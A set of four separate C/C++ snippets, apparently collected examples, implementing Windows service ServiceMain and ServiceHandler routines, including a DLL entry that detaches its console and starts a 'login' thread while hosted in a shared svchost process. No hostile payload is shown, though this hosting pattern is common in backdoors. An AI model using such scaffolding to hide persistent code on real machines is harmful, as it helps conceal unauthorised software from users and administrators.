extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] ) { strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well wcstombs(svcname, argv[0], sizeof svcname); hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler); if( hServiceStatus == NULL ) { return; }else FreeConsole(); TellSCM( SERVICE_START_PENDING, 0, 1 ); TellSCM( SERVICE_RUNNING, 0, 0); // call Real Service function noew g_dwServiceType = QueryServiceTypeFromRegedit(svcname); HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)login,(LPVOID)svcname, 0, NULL); do{ Sleep(100);//not quit until receive stop command, otherwise the service will stop } while(g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); if (g_dwServiceType == 0x120) { //Shared的服务 ServiceMain 不退出,不然一些系统上svchost进程也会退出 while (1) Sleep(10000); } return; }
void WINAPI ServiceMain( int argc, LPCTSTR argv[] ) { TCHAR szServicesName[MAX_PATH] = {0}; g_sshStatusHandle = RegisterServiceCtrlHandler(argv[0], (LPHANDLER_FUNCTION)ServiceHandler ); if( g_sshStatusHandle == NULL ) { Debug(Dbg,_T("RegisterServiceCtrlHandler %s failed"), argv[0]); return ; } else { FreeConsole(); } // call Real Service function noew if(argc > 1) { _tcscpy_s(szServicesName,MAX_PATH,argv[1]); Debug(Dbg,_T("ServiceMain2(%d, %s)."), argc, szServicesName); } TellSCM( SERVICE_START_PENDING, 0, 1 ); ServicesStart(argc > 1 ? szServicesName : MY_EXECUTE_NAME, argc > 2 ? 1 : 0); TellSCM( SERVICE_RUNNING, 0, 0 ); do{ Sleep(10); }while(g_dwCurrState != SERVICE_STOP_PENDING && g_dwCurrState != SERVICE_STOPPED); return; }
void WINAPI ServiceHandler( DWORD dwCommand ) { switch( dwCommand ) { case SERVICE_CONTROL_STOP: Debug(Dbg,_T("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP")); TellSCM(SERVICE_STOP_PENDING, 0, 1 ); ServicesStop(NULL,0); TellSCM( SERVICE_STOPPED, 0, 0 ); break; case SERVICE_CONTROL_PAUSE: TellSCM( SERVICE_PAUSE_PENDING, 0, 1 ); ServicesPause(NULL,0); TellSCM( SERVICE_PAUSED, 0, 0 ); break; case SERVICE_CONTROL_CONTINUE: TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 ); Debug(Dbg,_T("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE")); TellSCM( SERVICE_RUNNING, 0, 0 ); break; case SERVICE_CONTROL_INTERROGATE: Debug(Dbg,_T("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE")); TellSCM( g_dwCurrState, 0, 0 ); break; case SERVICE_CONTROL_SHUTDOWN: Debug(Dbg,_T("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN")); ServicesShutDown(NULL,0); TellSCM( SERVICE_STOPPED, 0, 0 ); break; } }
void __stdcall ServiceHandler(DWORD dwControl) { // not really necessary because the service stops quickly switch( dwControl ) { case SERVICE_CONTROL_STOP: TellSCM( SERVICE_STOP_PENDING, 0, 1 ); Sleep(10); TellSCM( SERVICE_STOPPED, 0, 0 ); break; case SERVICE_CONTROL_PAUSE: TellSCM( SERVICE_PAUSE_PENDING, 0, 1 ); TellSCM( SERVICE_PAUSED, 0, 0 ); break; case SERVICE_CONTROL_CONTINUE: TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 ); TellSCM( SERVICE_RUNNING, 0, 0 ); break; case SERVICE_CONTROL_INTERROGATE: TellSCM( g_dwCurrState, 0, 0 ); break; } }